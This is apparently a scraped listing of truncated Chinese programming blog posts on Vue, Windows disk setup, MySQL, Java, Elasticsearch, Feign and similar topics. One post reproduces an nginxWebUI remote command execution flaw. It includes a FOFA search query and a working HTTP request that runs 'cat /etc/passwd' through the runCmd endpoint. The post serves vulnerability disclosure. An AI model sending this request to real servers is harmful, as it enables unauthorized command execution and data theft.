vue中beforeDestroy销毁定时器不生效

data() { return { nowPageTime: 0, //当前页面时间,用于计时 }; }, created() { this.timeRefresh(); }, methods: { timeRefresh(){ let timeRefName = setInterval((res) => { this.nowPageTime += 1 if(this.nowPageTime == 1800){ //若计时半小时了 this.$router.go(0); } },1000) // 通过 $once 来监听定时器,在 beforeDestroy 钩子可以被清除。 this.$once('hook:beforeDestroy', () => { clearInterval(timeRefName); timeRefName = null; }) }, }

装win10提示“在EFI系统上,Windows只能安装到GPT磁盘”

在安装界面,按 shift + F10 键 在命令提示符窗口依次执行如下命令: 输入:diskpart 命令后,按enter键,进入到 DISKPART 模式。 输入:list disk 命令后,按enter键,查看电脑的硬盘。编号0,表示电脑的第一块硬盘;编号2,表示电脑的第二块硬盘;根据电脑的硬盘数量不同显示不同。 输入:select disk 0 命令后,按enter键,表示选中第一块硬盘。(select disk x 命令中的x,表示选中的硬盘编号)。 输入:clean 命令清除选中硬盘上的所有分区和数据。 执行:convert gpt 命令将选中的硬盘转换成GPT分区表格式。 输入:exit 命令退出 DISKPART 模式。 输入:exit 命令退出命令提示符模式。 https://blog.csdn.net/weixin_42608002/article/details/104321747

js常用数组操作方法

1、concat() 用于连接两个或多个数组。该方法不会改变现有的数组,仅会返回被连接数组的一个副本。 2、join() 用于把数组中的所有元素放入一个字符串。元素是通过指定的分隔符进行分隔的,默认使用’,'号分割,不改变原数组 3、push() 可向数组的末尾添加一个或多个元素,并返回新的长度。末尾添加,返回的是长度,改变原数组 4、pop() 用于删除并返回数组的最后一个元素。返回最后一个元素,改变原数组 5、shift() 用于把数组的第一个元素从其中删除,并返回第一个元素的值,改变原数组 6、unshift() 可向数组的开头添加一个或更多元素,并返回新的长度,改变原数组。 7、slice() 截取 返回一个新的数组,包含从 start 到 end (不包括该元素)的 arrayObject 中的元素(含头不含尾)。返回选定的元素,不会修改原数组 8、splice() 删除 splice() 方法可删除从 index(从0开始) 处开始的零个或多个元素,并且用参数列表中声明的一个或多个值来替换那些被删除的元素。如果从 arrayObject 中删除了元素,返回的是含有被删除的元素的数组。会改变原数组 9、substr() 和 substring() 相同点:如果只是写一个参数,两者的作用都一样:都是是截取字符串从当前下标直到字符串最后的字符串片段。都不会改变原字符串 不同点:第二个参数 substr(startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串); substring(startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,‘含头不含尾’)。 10、sort 排序 按照 Unicode code 位置排序,默认升序,会改变原数组 11、reverse() 用于颠倒数组中元素的顺序。返回的是颠倒后的数组,会改变原数组 12、indexOf 和 lastIndexOf 都接受两个参数:查找的值、查找起始位置 不存在,返回 -1 ;存在,返回位置。indexOf 是从前往后查找, lastIndexOf 是从后往前查找。 indexOf 13、every 对数组的每一项都运行给定的函数,每一项都返回 ture,则返回 true 14、some 对数组的每一项都运行给定的函数,任意一项都返回 ture,则返回 true 15、filter 对数组的每一项都运行给定的函数,返回 结果为 ture 的项组成的数组

MATLAB入门

一、变量与函数 1. 变量 MATLAB中变量的命名规则是: (1)变量名必须是不含空格的单个词; (2)变量名区分大小写; (3)变量名最多不超过19个字符; (4)变量名必须以字母打头,之后可以是任意字母、数字或下划线,变量名中不允许使用标点符号. 特殊变量表 特殊变量 取 值 ans 用于结果的缺省变量名 pi 圆周率 eps 计算机的最小数,和1相加时产生一个比1大的数 flops 浮点运算数 inf 无穷大,如1/0 NaN 不定量,如0/0 i,j i=j=√-1 nargin 所用函数的输入变量数目 nargout 所用函数的输出变量数目 realmin 最小可用正实数 realmax 最大可用正实数 2. 数学运算符号及标点符号 + 加法运算,适用于两个数或两个同阶矩阵相加. — 减法运算 * 乘法运算 .* 点乘运算 / 除法运算 ./ 点除运算 ^ 乘幂运算 .^ 点乘幂运算 \ 反斜杠表示左除. (1)MATLAB的每条命令后,若为逗号或无标点符号,则显示命令的结果;若命令后为分号,则禁止显示结果. (2)“%” 后面所有文字为注释. (3) “...”表示续行. 3. 数学函数 函 数 名 称 函 数 名 称

pom依赖报错com.mysql:mysql-connector-j:jar:unknown was not found

项目场景: springboot项目导入了mysql驱动的依赖时报错:com.mysql:mysql-connector-j:jar:unknown was not found 问题描述 报错:com.mysql:mysql-connector-j:jar:unknown was not found 原因分析: 父依赖里找不到这个依赖,可能是因为mysql-connector-java分为5.1版本和8.0版本,而我们在官网的截图中确实没看到6.0版本。8.0以前就是6.0,后来版本号更改,6.0变成了8.0 解决方案: 可以在这里插入代码片自己手动加上版本号 <dependency> <groupId>com.mysql</groupId> <artifactId>mysql-connector-j</artifactId> <version>8.0.31</version> <scope>runtime</scope> </dependency> 报错消失

MYSQL储存引擎与锁

MYSQL结构体系 客户端连接 支持接口:支持的客户端连接,例如C、Java、PHP等语言来连接MySQL数据库。 第一层:网络连接层 连接池:管理、缓冲用户的连接,线程处理等需要缓存的需求 第二层:核心服务层 管理服务和工具:系统的管理和控制工具,例如备份恢复、复制、集群等 SQL接口:接受SQL命令,井且返回查询结果, 查询解析器:验证和解析QL命令,例如过滤条件、语法结构等。 查询优化器:在执行查询之前,使用默认的一套优化机制进行优化sq语句。 缓存:如果缓存当中有想查询的数据,则直接将缓存中的数据返回。设有的话再重新查间 第三层:存储引学层 插件式存储引学:管理和操作数据的一种机制,包括存储数据、如何更新、查询数摆等) 第四层:系统文件层 文件系统:配置文件、数据文件、日志文件、错误文件、二进制文件等等的保存。 1.储存引擎 1.储存引擎概述 MyQL数据库使用不同的机制存取表文件,包括存储方式,索引技巧,锁定水平等不问的功能、这不同的技术以及配套的功能称为存储引擎 Oracle、SqlServer等数据库只有一种存储引擎。而MySQL针对不同的需求配置不同的存学就会让数据库采取不同处理数据剧的方式和扩展功能 MySQL支持的存储引章有很多,常用的有三种:InnoDB、MyISAM、MEMORY 特性对比 MylSAM存储引擎:访问快,不支持事务和外健作, In门oDB存储引擎:支持事务和外操作,支持并发控制,占用磁盘空问大。(My5QL5.5版本后默认 MEMORY存储引擎:内存存储,速应快,不安全,适合小录快速方问的数据 2.储存引擎的操作 查询数据库支持的储存引擎 SHOW ENGINES; 查询某个数据库中所有数据表的储存引擎 SHOW TABLE STATUS FROM 数据库名称; 查询某个数据库中某个数据表的储存引擎 SHOW TABLE STATUS FROM 数据库名称 WHEWE NAME='数据表名称'; 创建数据表指定存储引擎 CREATE TABLE 表名( 列名,数据类型, ...... )ENGINE =引擎名称; 修改数据表储存引擎 ALTER TABLE 表名 ENGINE=引擎名称; 例: --查询数据库支持的储存引擎 SHOW ENGINES; --查询db4数据库所有表的储存引擎 SHOW TABLE STATUS FROM db4; --查询db4数据库中category表的储存引擎 SHOW TABLE STATUS FROM db4 WHERE NAME='category'; /* CREATE TABLE 表名( 列名,数据类型, .

QQ取色器功能

一 使用方法 QQ截图功能具有取色器功能。 二 截取颜色三原色 1 截图 Ctral+ALT+A 2 找到取色目标 3 按 C 键 4 CTRL+V 5 得到颜色三原色 255,255,255 三 截取十六进制颜色 1 截图 Ctral+ALT+A 2 找到取色目标 3 CTRAL+C 键 4 CTRL+V 5 得到十六进制颜色 #00BE65

Endnote 2020使用教程和技巧

Endnote2020使用技巧 1. 将 EndNote 文献信息导出成 BibTeX 格式1.1 Mac Endnote2020引用论文流程:1.2常见问题: 2. 如何清除组内(group)重复的论文3.Mac endnote cpu占用过高问题4.同步local library和 online library 1. 将 EndNote 文献信息导出成 BibTeX 格式 参考资料1:将 EndNote 文献信息导出成 BibTeX 格式 参考资料2:在TeXstudio中,编译文件时不需要像上述文章一样,分别编译Latex文档和Bib文档,只需要按照正常步骤,一键编译,正常编译输出如下,里面的warnings可以不用管。 1.1 Mac Endnote2020引用论文流程: 选中要引用的论文,点击到处为EndNote Desktop,然后用endnote打开下载的文件 在endnote中可以见到论文信息,右键要引用的论文,然后copy formatted reference就复制好引用了 ctrl+c将引用复制到word中即可 [1] ZHOU Y, WANG X, YAO L, et al. LDAformer: predicting lncRNA-disease associations based on topological feature extraction and Transformer encoder [J]. Briefings in bioinformatics, 2022. 如果这个按钮是灰色的,说明没有配置引用格式,此时如果是windows电脑,则先下载所有的格式文件:https://download.csdn.net/download/adreammaker/85427457 然后复制到endnote的安装文件夹中的styles文件夹内 5.点击 Edit-output style - management -勾选chinese std那两个

【漏洞复现】nginxWebUI 存在前台远程命令执行漏洞

文章目录 前言声明一、nginxWebUI 简介二、漏洞描述三、影响版本四、漏洞复现五、修复建议 前言 nginxWebUI 存在前台远程命令执行漏洞,攻击者通过该漏洞获取服务器控制权限进而进一步获取敏感数据信息。 声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 一、nginxWebUI 简介 nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。 二、漏洞描述 nginxWebUI是一款网页版开源工具。 并且存在命令执行漏洞。攻击者可利用漏洞执行系统任意命令。 三、影响版本 nginxWebUI <= 3.5.0 四、漏洞复现 FOFA:"nginxWebUI" 漏洞链接:http://127.0.0.1/AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx 漏洞数据包如下: GET /AdminPage/conf/runCmd?cmd=cat%20/etc/passwd%26%26echo%20nginx HTTP/1.1 Host: X.X.X.X Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://X.X.X.X Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8 Cookie: SOLONID=fc7679940b1743b3aee1d4d233913cc3; SOLONID2=69ddf221509a61bc6990d82d780db6b7; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1688881500; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1688881500 Connection: close cmd参数可控,可获取服务器任意信息。 五、修复建议 请关注厂商主页及时更新: https://www.nginxwebui.cn/

开始使用 Elasticsearch (1)

在今天的这篇文章中,我们来主要介绍一下如何使用 REST 接口来对 Elasticsearch 进行操作。为了完成这项工作,我们必须完成如下的步骤: 安装 Elasticsearch。请参阅文章 “如何在 Linux,MacOS 及 Windows 上进行安装 Elasticsearch”。把 Elasticsearch 运行起来。安装 Kibana。请参阅文章 “如何在 Linux,MacOS 及 Windows 上安装 Elastic 栈中的 Kibana”。把 Kibana 运行起来。熟悉有关于 Elastic 栈的一些最基本的概念。请参阅文章 “Elasticsarch 中的一些重要概念: cluster, node, shards 及 replica”。这些概念对我们如下的练习有非常多的帮助。 有了上面最基本的一些安装及概念,我们就很容进行下面的讲解了。在如下所展示的所有的 scripts 可在地址 https://github.com/liu-xiao-guo/es-scripts-7.3 找到。 搜索引擎执行以下两个主要操作: 索引(indexing):此操作用于接收文档,对其进行处理,并将其存储在一个索引中。搜索(searching):此操作用于根据查询从索引中检索数据。 除了上述的两个操作,作为数据库,通常它还有另外的两个操作: 更改(updating)删除(deleting) 有关这两个操作的详述,请参阅我的另外一篇文章 “Elasticsearch:彻底理解 Elasticsearch 数据操作”。 本教程基于上面的两个操作来完成。这个教程是一个3篇文章的教程,它涵盖了最基本的 Elasticsearch 的一些最基本的点: 开始使用 Elasticsearch (1): 了解如何创建索引,添加,删除,更新文档开始使用 Elasticsearch (2):了解如何进行搜索开始使用 Elasticsearch (3):了解如何进行分析数据: analyze 及 aggregate 数据 开始使用Elasticsearch (1) 开始使用Elasticsearch (1)_哔哩哔哩_bilibili 什么是 JSON? JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999 的一个子集。在 Elasticsearch 中,所以的数据都是以 JSON 的格式来进行表述的。这个和其它的有些数据库,比如 Solr,它支持更多格式的数据,比如 xml, csv 等。

python的一些小练习(1)

(1)用起泡法对十个数由大到小排序,即将相邻两个数比较,将小的调到前头 input_values=input("输入十个数") values=[int(x) for x in input_values.split( )] for i in range(9): for j in range(9-i): if values[j]<values[j+1]: t=values[j+1] values[j+1]=values[j] values[j]=t print("排序后:",values) (2)有一个4x5矩阵,编程求出其最大值及其所处的位置 import random matrix=[[random.randint(0,100) for i in range(3)] for j in range(4)] max=matrix[0][0] for i in range(4): for j in range(3): if max<matrix[i][j]: max=matrix[i][j] a=i b=j print("该矩阵的最大值为:",max,"\n位置为第",a,"行","第",b,"列") (3)求 sum=0 for i in range(1,21): s = 1 for j in range(1,i+1): s=s*j sum=sum+s print(sum) (5)有一函数,写一程序,输入自变量的值,输出函数值 import numpy as np x=float(input("

认识文件操作与IO

文章目录 认识文件文件夹文件路径文件分类 文件操作File类构造方法常用方法 字节流IOInputStream常用方法 FileInputStream构造方法FileInputStream实例 OutputStream方法 FileOutputStream 字符流IO 认识文件 我们平时所说的文件指的是存在硬盘上的文件,我们平时的重要数据内容都以文件的方式来存储,我们平时书写的Java代码实际上是操作内存的一种方式,通过在内存上申请空间去执行操作。 我们接下来学习通过对文件以及IO接口的操作来实现对硬盘的操作,他能更直接的操作我们平时用到的数据文件,无论在我们的工作还是在我们的学习中,这都是不可或缺的。 文件夹 我们通俗的将目录文件称为文件夹,文件如同数据一般,我们计算机也通过管理数据的方式来管理文件 可以看到,计算机是通过树状结构来管理文件目录 文件路径 我们所说的路径就是找到文件途经的目录组成的,根据树状结构,我们知道找到一个文件就是从根开始,一路沿着树杈走下去所经过的目录,Windows系统都是通过此电脑起手的,所以我们通常省略此电脑 绝对路径:指的是一个具体的路径,以盘符开头的。比如:C:\Program Files\Java\text相对路径:指的是从给定目录出发寻找文件(.开头)。比如:.\text 注:Windows上文件与路径一一对应 文件分类 文件通常被分为文本文件与二进制文件 文本文件:存储的是字符二进制文件:存储二进制数据 我们可以通过记事本1打开,出现乱码则是二进制文件 文件操作 主要指通过文件资源管理器能够完成的一些功能,在Java中提供了File类,通过这个类来完成一系列操作,下面我们进入正题。 File类 File类存在java.io包中 构造方法 File(String pathname) //根据文件路径创建一个新的File 实例 注:此处的文件可以不存在,只要目录可以找到,调用createNewFile()就可以创建该文件 常用方法 修饰符及返回值类型方法签名说明StringgetParent()返回 FileStringgetName()返回 FIle 对象的纯文件名称StringgetPath()返回 File 对象的文件路径StringgetAbsolutePath()返回 File 对象的绝对路径StringgetCanonicalPath()返回 File 对象的修饰过的绝对路径booleanexists()判断 File 对象描述的文件是否真实存在booleanisDirectory()判断 File 对象代表的文件是否是一个目录booleanisFile()判断 File 对象代表的文件是否是一个普通文件booleancreateNewFile()根据 File 对象,自动创建一个空文件。成功创建后返回 truebooleandelete()根据 File 对象,删除该文件。成功删除后返回 truevoiddeleteOnExit()根据 File 对象,标注文件将被删除,删除动作会到JVM 运行结束时才会进行String[]list()返回 File 对象代表的目录下的所有文件名File[]listFiles()返回 File 对象代表的目录下的所有文件,以 File 对象表示booleanmkdir()创建 File 对象代表的目录booleanmkdirs()创建 File 对象代表的目录,如果必要,会创建中间目录booleanrenameTo(Filedest)进行文件改名,也可以视为我们平时的剪切、粘贴操作booleancanRead()判断用户是否对文件有可读权限booleancanWrite()判断用户是否对文件有可写权限 以上操作都较为简单,只需注意在IDEA的工作目录是当前项目所在的目录.

试用蓝奏云盘分享代码笔记及demo效果

蓝奏盘的下载速度很快,而且可以在浏览器下载,这点很不错。 这里就把以前用QPainter绘制螺线的Qt代码,Qt的是PC端的,Android上以前也画过螺旋线,编译成的apk放在蓝奏盘上。 我用蓝奏浏览器分享了[qtcurve], 下载链接: https://wwp.lanzoup.com/i8CT111p3dqf 提取码 : 4iir, 你可以不限速下载哦! 代码 #include <QApplication> #include <QLabel> #include <QWidget> #include <QPainter> #define _USE_MATH_DEFINES #include <math.h> int w=640; int h=480; struct vec2d { double x; double y; }; vec2d rsi2xy(double r, double si) { vec2d p; double s=si *M_PI/180.0; p.x = r*cos(s); p.y = r*sin(s); return p; } double agmd(double si) { return 80.0+0.1*si; } class GrphWidget : public QWidget { //Q_OBJECT public: GrphWidget(QWidget *parent = 0): QWidget(parent) { } ~GrphWidget() {} void paintEvent(QPaintEvent* event) { int w =this->width(); int h = this->height(); QPainter p(this); p.

java的EXcel模板的下载、导入和导出

声明:本文章仅基于个人粗略整理总结,如有不足之处,欢迎指出。 基于ssm+layui开发,所需jar包 <!-- poi3.9:导出excel --> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>3.9</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>3.9</version> </dependency> 1、下载Excel模板 前端: <div class="layui-form-item"></div> <form action="/device/downloadExcel" method="get"> <div class="layui-form-item"> <label class="layui-form-label">下载模板:</label> <div class="layui-input-inline"> <input class="layui-btn " type="submit" value="下载模板"> </div> </form> <label class="layui-form-label"></label> <!-- --> <form class="layui-form" method="POST" enctype="multipart/form-data" id="form1" action="${ctx}/device/uploadExcel"> <div class="layui-form-item"> <label class="layui-form-label">上传文件:</label> <div class="layui-input-inline"> <input id="upfile" type="file" name="upfile" calss="layui-btn"> </div> </div> <div class="layui-form-item"> <label class="layui-form-label"> </label> <div class="layui-input-inline"> <input class="layui-btn " type="submit" value="

halcon基础案例+算子学习(二)

halcon算子学习 1.对区域进行交集、补集、反选、合并2.对区域进行填充3.对区域进行筛选4.画各种交互的ROI(用鼠标画图形)5.计算程序时间6.将图像转换为数组7.自适应窗口8.彩色图转灰度图9.彩色图之间的转换10.区域生长法,填充区域之间的GAP获分割重叠区域11.在图像上书写文字12.图像分割之地形学13.图像阈值分割(自动、二值化、文字、相减)13.图像阈值分割(局部阈值和固定阈值)14.文本文件的读写15.文件夹相关操作16.形态学膨胀、腐蚀、开运算、闭运算 1.对区域进行交集、补集、反选、合并 1.1对所选区域进行取反 *创建一个窗口 dev_open_window (0, 0, 512, 512, 'black', WindowHandle) *画圆(输出、圆点坐标、半径) gen_circle (Cricle1, 224.5, 250.5, 131.727) *清除窗口 dev_clear_window () *取反操作 complement (Cricle1, RegionComplement) 1.2 计算区域1相对于区域2不同 dev_open_window (0, 0, 512, 512, 'black', WindowHandle) gen_circle (Cricle1, 122.5, 126.5, 69.7711) gen_circle (Cricle2, 184.5, 179.5, 73.9256) *计算Cricle1相对于Cricle2的不同 difference (Cricle1, Cricle2, RegionDifference) dev_clear_window () dev_display (RegionDifference) 1.3计算两个区域的不同 dev_open_window (0, 0, 512, 512, 'black', WindowHandle) gen_circle (Cricle1, 114.5, 127.5, 89.3588) gen_circle (Cricle2, 163.5, 171.

SequelizeConnectionRefusedError: connect ECONNREFUSED ::1:3306 MYSQL连接问题

今天使用Node连接Mysql时出现了这个报错,网上查了一下没有出现过相似报错的,所以解决方法在这里讲一下 const Sequelize=require('sequelize') const sequelize=new Sequelize('user','root','',{ host:'localhost', dialect:'mysql', port:3306 }) 出现问题的 ::1:3306 ,而正确的信息 ::1位置应该是localhost的字段,所以是电脑把localhost解析成了 ::1。 所以问题归纳成了 localhost解析成了::1的问题,网上查了相关资料,是因为windows10中IPv6优先级设置高于IPv4,我们在命令行中输入以下命令,把优先级更改即可解决这个问题 netsh int ipv6 set prefix ::/96 50 0 netsh int ipv6 set prefix ::ffff:0:0/96 40 1 netsh int ipv6 set prefix 2002::/16 35 2 netsh int ipv6 set prefix 2001::/32 30 3 netsh int ipv6 set prefix ::1/128 10 4 netsh int ipv6 set prefix ::/0 5 5 netsh int ipv6 set prefix fc00::/7 3 13

微服务Feign调用报错:Body parameter 0 was null at feign.Util.checkArgument

报错详细内容如下: java.lang.IllegalArgumentException: Body parameter 0 was null at feign.Util.checkArgument(Util.java:96) at feign.ReflectiveFeign$BuildEncodedTemplateFromArgs.resolve(ReflectiveFeign.java:388) at feign.ReflectiveFeign$BuildTemplateByResolvingArgs.create(ReflectiveFeign.java:232) at feign.SynchronousMethodHandler.invoke(SynchronousMethodHandler.java:84) at feign.ReflectiveFeign$FeignInvocationHandler.invoke(ReflectiveFeign.java:100) at com.sun.proxy.$Proxy112.getVideoLoginParamByDeviceId(Unknown Source) at com.test.controller.DeviceController.getToken(DeviceController.java:50) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150) at ... 报错原因分析: 微服务使用feign进行跨服务调用时导致,报错原因分析就是少参数了。A服务通过feign调用B服务,B服务需要传一个参数,但是A服务调用时却报错参数是空的!代码如下,A服务实际是传参了,但是系统没有识别到参数 A服务FeignService代码: @FeignClient("server-b") public interface BFeignService { @GetMapping("/bApi/device/getDeviceById") Map<String,Object> getDeviceById(String deviceId); } B服务Controller代码: @RestController("device") public interface DeviceController { @GetMapping("/getDeviceById") public Map<String, Object> getDeviceById(String deviceId){ Map<String,Object> param = new HashMap<>(); //代码略 return param; } } 报错解决:

ubunntu无法播放视频

两步解决一切 第一步: sudo apt-get install ffmpeg 第二步: sudo apt-get install flashplugin-installer 重启系统即可

过平面三点求圆的圆心和半径

设平面三点v0,v1,v2 求过三点的圆的圆心c? 解: 由圆的方程 ( x − x c ) 2 + ( y − y c ) 2 = r 2 (x-x_c)^2+(y-y_c)^2=r^2 (x−xc​)2+(y−yc​)2=r2 (1) 将三点代入(1)得到: ( x 0 − x c ) 2 + ( y 0 − y c ) 2 = r 2 (x_0-x_c)^2+(y_0-y_c)^2=r^2 (x0​−xc​)2+(y0​−yc​)2=r2 (2) ( x 1 − x c ) 2 + ( y 1 − y c ) 2 = r 2 (x_1-x_c)^2+(y_1-y_c)^2=r^2 (x1​−xc​)2+(y1​−yc​)2=r2 (3)

程序员必须掌握的600个英语单词

application 应用程式 应用、应用程序 application framework 应用程式框架、应用框架 应用程序框架 architecture 架构、系统架构 体系结构 argument 引数(传给函式的值)。叁见 parameter 叁数、实质叁数、实叁、自变量 array 阵列 数组 arrow operator arrow(箭头)运算子 箭头操作符 assembly 装配件 assembly language 组合语言 汇编语言 assert(ion) 断言 assign 指派、指定、设值、赋值 赋值 assignment 指派、指定 赋值、分配 assignment operator 指派(赋值)运算子 = 赋值操作符 associated 相应的、相关的 相关的、关联、相应的 associative Container 关联式容器(对应 sequential container) 关联式容器 atomic 不可分割的 原子的 attribute 属性 属性、特性 audio 音讯 音频 A.I. 人工智慧 人工智能 background 背景 背景(用於图形着色) 后台(用於行程) backward compatible 回溯相容 向下兼容

ncm格式如何转换为mp3,分享几个方法!

你是否曾在网易云音乐上下载了一些NCM格式的音频文件,但发现无法在其他设备上播放?别担心,记灵在线工具可以帮助你将这些NCM格式转换为常见的MP3格式。今天小编就来分享三种方法,教你如何搞定! 方法一:曲线转换法 首先找到需要转换的的NCM相同歌曲的视频文件,再把视频文件转换成MP3文件,因为大多数的音乐都只有音频是加密的MCN文件,而MV大多数都可以直接免费下载,这个方法适合于大多数的NCM。但是在步骤上相对复制一下。视频转换MP3的步骤如下: 打开记灵在线工具的官方网页;找到并选择MP3转换器功能;点击“添加文件”按钮,上传NCM格式的音频文件;点击“确认转换”按钮,等待转换完成;完成后,你将获得转换后的MP3格式音频文件,可以进行下载保存或分享使用。 方法二:在线转换网站 在线转换网站是另一种方便快捷的方法,可以将NCM格式转换为MP3格式。以下是简单的操作步骤: 打开浏览器,搜索并进入一个可靠的在线音频转换网站;在网站上找到音频转换功能;选择上传NCM格式的音频文件;在转换设置中,选择目标格式为MP3;启动转换并等待完成;完成后,网站将提供下载链接,你可以点击下载转换后的MP3音频文件。 方法三:本地转换软件 如果你更喜欢在本地计算机上进行音频格式转换,可以考虑使用本地转换软件,例如音频转换器。以下是简单的操作步骤: 在计算机上下载并安装一款支持音频转换的软件,例如音频转换器;打开软件并选择音频转换功能;添加NCM格式的音频文件到转换列表;设置输出格式为MP3;开始转换并等待完成;转换后的MP3音频文件将保存在指定的输出目录中。 以上就是三种将NCM格式转换为MP3格式的方法。无论你选择记灵在线工具、在线转换网站还是本地转换软件,都能轻松解决问题。现在就快试试看吧!记灵在线工具将帮助你快速完成转换,让你在各种设备上畅享音频文件。

SpringBoot应用中使用AOP记录接口访问日志

AOP AOP为Aspect Oriented Programming的缩写,意为:面向切面编程,通过预编译方式和运行期动态代理实现程序功能的统一维护的一种技术。利用AOP可以对业务逻辑的各个部分进行隔离,从而使得业务逻辑各部分之间的耦合度降低,提高程序的可重用性,同时提高了开发的效率。 AOP的相关术语 #通知(Advice) 通知描述了切面要完成的工作以及何时执行。比如我们的日志切面需要记录每个接口调用时长,就需要在接口调用前后分别记录当前时间,再取差值。 前置通知(Before):在目标方法调用前调用通知功能; 后置通知(After):在目标方法调用之后调用通知功能,不关心方法的返回结果; 返回通知(AfterReturning):在目标方法成功执行之后调用通知功能; 异常通知(AfterThrowing):在目标方法抛出异常后调用通知功能; 环绕通知(Around):通知包裹了目标方法,在目标方法调用之前和之后执行自定义的行为。 连接点(JoinPoint) 通知功能被应用的时机。比如接口方法被调用的时候就是日志切面的连接点。 #切点(Pointcut) 切点定义了通知功能被应用的范围。比如日志切面的应用范围就是所有接口,即所有controller层的接口方法。 #切面(Aspect) 切面是通知和切点的结合,定义了何时、何地应用通知功能。 #引入(Introduction) 在无需修改现有类的情况下,向现有的类添加新方法或属性。 #织入(Weaving) 把切面应用到目标对象并创建新的代理对象的过程。 Spring中使用注解创建切面 #相关注解 @Aspect:用于定义切面 @Before:通知方法会在目标方法调用之前执行 @After:通知方法会在目标方法返回或抛出异常后执行 @AfterReturning:通知方法会在目标方法返回后执行 @AfterThrowing:通知方法会在目标方法抛出异常后执行 @Around:通知方法会将目标方法封装起来 @Pointcut:定义切点表达式 #切点表达式 指定了通知被应用的范围,表达式格式: execution(方法修饰符 返回类型 方法所属的包.类名.方法名称(方法参数) //com.macro.mall.tiny.controller包中所有类的public方法都应用切面里的通知 execution(public * com.skylark.mark.tiny.controller.*.*(..)) //com.macro.mall.tiny.service包及其子包下所有类中的所有方法都应用切面里的通知 execution(* com.skylark.mark.tiny.service..*.*(..)) //com.macro.mall.tiny.service.PmsBrandService类中的所有方法都应用切面里的通知 execution(* com.skylark.mark.tiny.service.PmsBrandService.*(..)) 添加AOP切面实现接口日志记录 #添加日志信息封装类WebLog 用于封装需要记录的日志信息,包括操作的描述、时间、消耗时间、url、请求参数和返回结果等信息。 /** * Controller层的日志封装类 * Created by macro on 2018/4/26. */ public class WebLog { /** * 操作描述 */ private String description; /** * 操作用户 */ private String username; /** * 操作时间 */ private Long startTime; /** * 消耗时间 */ private Integer spendTime; /** * 根路径 */ private String basePath; /** * URI */ private String uri; /** * URL */ private String url; /** * 请求类型 */ private String method; /** * IP地址 */ private String ip; /** * 请求参数 */ private Object parameter; /** * 请求返回的结果 */ private Object result; //省略了getter,setter方法 } 添加切面类WebLogAspect

数字电路设计——加法器

数字电路设计——加法器 半加器 半加器只有两个一位宽的输入 a a a 和 b b b ,输出 a + b a+b a+b 所产生的本位和 s u m sum sum 和进位 c o u t cout cout。组合逻辑为: S = A ⊕ B , C o u t = A B S = A \oplus B,Cout = AB S=A⊕B,Cout=AB 真值表和原理图符合为: SystemVerilog实现代码: module hadder ( input logic a, input logic b, output logic sum, output logic cout ); assign sum = a ^ b; assign cout = a & b; endmodule 全加器 加法器一般指全加器,半加器只能实现一位加法,而全加器才能真正实现多位加法,相较于半加器,全加器考虑了上一位的进位,因此全加器有三个输入分别是 a , b , c i n a,b,cin a,b,cin ,输出 a + b + c i n a+b+cin a+b+cin 所产生的本位和 s u m sum sum 和进位 c o u t cout cout。组合逻辑为:

java异步-线程、线程池

1、java初始化线程的4种方式 继承Thread,重写run方法实现Runnable接口实现Callable接口 + FutureTask(可以获取线程返回接口,可以处理异常)线程池 无论是哪种方式,都需要使用new Thread来开启线程 2、4种实现案例 2.1、继承Thread方式 3、实现Runnable接口 2.2、实现Callable接口 实现Callable接口,指定泛型重写call方法在使用时,new FutureTask时传递callable实现类对象由于FutureTask底层使用的是runnable接口,因此new Thread对象,把FutureTask对象传入即可 当FutureTask对象需要获取线程的返回数据时: 线程阻塞等待的方式获取结果:与多线程初衷相违背 2.3、线程池 import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * @author 线程池使用 * @date 2023/7/7 */ public class ExecutorsPool { /** * 在java JUC下,提供了一个类Executors,快速创建一个线程池 * 下面创建一个固定数据为10的线程池 */ public static ExecutorService executors = Executors.newFixedThreadPool(10); //测试案例 public static void main(String[] args) { System.out.println("主方法..................开始执行"); //executors.submit(new Runnable() { // @Override // public void run() { // // } //}) /** 下面是上面的lambda写法 */ executors.

C++循环结构设计——韩信点兵(转载)

